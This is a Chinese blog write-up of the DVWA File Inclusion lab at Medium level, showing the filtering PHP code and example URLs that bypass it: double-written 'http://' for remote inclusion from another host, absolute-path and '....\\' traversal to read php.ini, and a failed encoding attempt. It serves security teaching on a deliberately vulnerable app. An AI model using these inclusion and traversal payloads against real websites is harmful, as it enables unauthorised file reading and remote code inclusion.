zoukankan      html  css  js  c++  java
  • DVWA-4.2 File Inclusion(文件包含)-Medium-双写绕过str_replace替换规则

    Medium Level

    服务器端核心代码

    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    // Input validation
    $file = str_replace( array( "http://", "https://" ), "", $file );
    $file = str_replace( array( "../", ".."" ), "", $file );//个人感觉这里的源码错了,应该改为"..\",其中第一个反斜杠用来转义第二个反斜杠
    
    ?>

    可以看到,Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..”替换为空字符,即删除。

    漏洞利用

    使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。

    例如page=hthttp://tp://192.168.5.12/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.5.12/phpinfo.txt,成功执行远程命令。

    同时,因为替换的只是“../”、“..”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。

    1、本地文件包含

    构造url(绝对路径)

    http://127.0.0.1/dvwa/vulnerabilities/fi/?page=D:softwarewampwwwdvwaphp.ini

    绝对路径不受任何影响,读取成功

    构造url(相对路径)

    http://172.16.134.26/dvwa/vulnerabilities/fi/?page=....\....\....\....\........\....\....\....\softwarewampwwwdvwaphp.ini

    这里将..改为了....\,也可以将其改为....

    注意:此处将源代码改为了  "..\",个人感觉原来的代码不对,根本没有过滤 .. 。

     

    2、远程文件包含

    http://172.16.134.26/dvwa/vulnerabilities/fi/page=htthttp://p://172.16.135.47/dvwa/phpinfo.txt

    远程执行命令成功

    构造url

    http://172.16.134.26/dvwa/vulnerabilities/fi/?page=%68%74%74%70%3a%2f%2f%31%37%32%2e%31%36%2e%31%33%35%2e%34%37%2f%64%76%77%61%2f%70%68%70%69%6e%66%6f%2e%74%78%74

    经过编码后的url不能绕过替换规则,因为解码是在浏览器端完成的,发送过去的page参数依然是http://172.16.135.47/dvwa/phpinfo.txt,因此读取失败。

    参考:https://www.freebuf.com/articles/web/119150.html

  • 相关阅读:

    决斗(Headshot )
    密码(Password)
    线性表
    hdu 5409 CRB and Graph(边双联通分量)
    无向图的边双连通分量(EBC)
    hdu 3461 Code Lock 并查集(有点难想到)★★
    hdu 1558 Segment set 计算几何+并查集★
    交表(Send a Table)
    杨辉三角与二项式定理
  • 原文地址:https://www.cnblogs.com/zhengna/p/12741477.html
Copyright © 2011-2022 走看看